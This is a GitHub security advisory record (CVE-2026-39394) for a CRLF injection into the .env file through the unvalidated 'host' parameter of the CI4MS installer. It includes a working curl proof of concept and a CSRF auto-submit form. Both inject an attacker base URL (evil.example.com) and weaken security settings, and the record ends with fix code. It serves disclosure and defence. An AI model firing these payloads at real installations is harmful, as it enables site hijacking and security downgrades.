{"id":"GHSA-vfhx-5459-qhqh","summary":"CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller","details":"## Summary\n\nThe `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache('settings')` is empty (cache expiry or fresh deployment).\n\n## Details\n\nIn `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35:\n\n```php\n// line 32-41\n$updates = [\n    'CI_ENVIRONMENT' =\u003e 'development',\n    'app.baseURL' =\u003e '\\'' . $this-\u003erequest-\u003egetPost('baseUrl') . '\\'',\n    'database.default.hostname' =\u003e $this-\u003erequest-\u003egetPost('host'),  // NO VALIDATION\n    'database.default.database' =\u003e $this-\u003erequest-\u003egetPost('dbname'),\n    // ...\n];\n```\n\nThis value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string:\n\n```php\n// line 94-98\nforeach ($updates as $key =\u003e $value) {\n    $pattern = '/^' . preg_quote($key, '/') . '=.*/m';\n    $replacement = \"{$key}={$value}\";\n    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n    else $contents .= PHP_EOL . $replacement;\n}\n```\n\nSince the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`.\n\nThe `dbpassword` field (line 17) is a secondary vector — its validation (`permit_empty|max_length[255]`) does not reject newline characters.\n\n**Access conditions:**\n- CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`.\n- `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache('settings')` is populated. The endpoint is accessible during fresh install or after cache expiry/clear.\n\n**Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable.\n\n## PoC\n\n**Scenario:** Application is deployed but cache has expired (or fresh install window).\n\n```bash\n# Inject app.baseURL override and disable secure requests via host parameter\n# The %0a represents a newline that creates new .env lines\ncurl -X POST 'http://target/install/' \\\n  -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler'\n```\n\n**Expected result:** The `.env` file will contain:\n\n```\ndatabase.default.hostname=localhost\napp.baseURL=http://evil.example.com/\napp.forceGlobalSecureRequests=false\nsession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\n```\n\nThese injected lines override the legitimate `app.baseURL` set earlier (CI4's DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling.\n\n**CSRF exploitation variant** (no direct access needed):\n\n```html\n\u003c!-- Hosted on attacker site, victim admin visits while cache is empty --\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://target/install/\"\u003e\n  \u003cinput name=\"baseUrl\" value=\"http://target/\"\u003e\n  \u003cinput name=\"host\" value=\"localhost&#10;app.baseURL='http://evil.example.com/'\"\u003e\n  \u003c!-- ... other required fields ... --\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n```\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:\n\n- **Application URL hijacking** — injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure\n- **Security downgrade** — disabling `forceGlobalSecureRequests`, CSP, or other security settings\n- **Session manipulation** — changing session driver or save path configuration\n- **Full application reconfiguration** — the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service)\n- **Database redirect** — while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior\n\nThe attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.\n\n## Recommended Fix\n\n1. **Add validation for the `host` parameter** — reject newlines and restrict to valid hostnames/IPs:\n\n```php\n// In $valData, add:\n'host' =\u003e ['label' =\u003e lang('Install.databaseHost'), 'rules' =\u003e 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],\n```\n\n2. **Sanitize all values in `updateEnvSettings()`** — strip newlines from replacement strings:\n\n```php\nprivate function updateEnvSettings(array $updates)\n{\n    $envPath = ROOTPATH . '.env';\n    if (!file_exists($envPath)) return ['error' =\u003e \"'.env' file not found.\"];\n    $contents = file_get_contents($envPath);\n    foreach ($updates as $key =\u003e $value) {\n        $value = str_replace([\"\\r\", \"\\n\"], '', (string) $value);  // Strip CRLF\n        $pattern = '/^' . preg_quote($key, '/') . '=.*/m';\n        $replacement = \"{$key}={$value}\";\n        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n        else $contents .= PHP_EOL . $replacement;\n    }\n    file_put_contents($envPath, $contents);\n    return true;\n}\n```\n\n3. **Add newline validation to `dbpassword`** — add `regex_match[/^[^\\r\\n]*$/]` to the validation rules.\n\n4. **Strengthen `InstallFilter`** — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).","aliases":["CVE-2026-39394"],"modified":"2026-04-08T19:33:15.084768Z","published":"2026-04-08T19:16:12Z","database_specific":{"nvd_published_at":"2026-04-08T15:16:14Z","github_reviewed":true,"severity":"HIGH","cwe_ids":["CWE-93"],"github_reviewed_at":"2026-04-08T19:16:12Z"},"references":[{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39394"},{"type":"PACKAGE","url":"https://github.com/ci4-cms-erp/ci4ms"},{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"}],"affected":[{"package":{"name":"ci4-cms-erp/ci4ms","ecosystem":"Packagist","purl":"pkg:composer/ci4-cms-erp/ci4ms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.4.0"}]}],"versions":["0.21.0","0.21.1","0.21.2","0.21.3","0.21.3.1","0.21.3.2","0.21.3.3","0.21.3.4","0.21.3.5","0.21.3.6","0.21.3.7","0.23.0.0","0.23.0.1","0.23.0.2","0.23.1.0","0.24.0.0","0.24.0.16","0.24.0.18","0.24.0.19","0.24.0.20","0.24.0.27","0.24.0.42","0.24.0.45","0.24.0.60","0.25.0.0","0.25.0.1","0.25.0.2","0.25.0.30","0.25.0.39","0.25.0.43","0.25.1.0","0.25.2.0","0.25.3.0","0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-vfhx-5459-qhqh/GHSA-vfhx-5459-qhqh.json","last_known_affected_version_range":"\u003c= 0.31.3.0"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}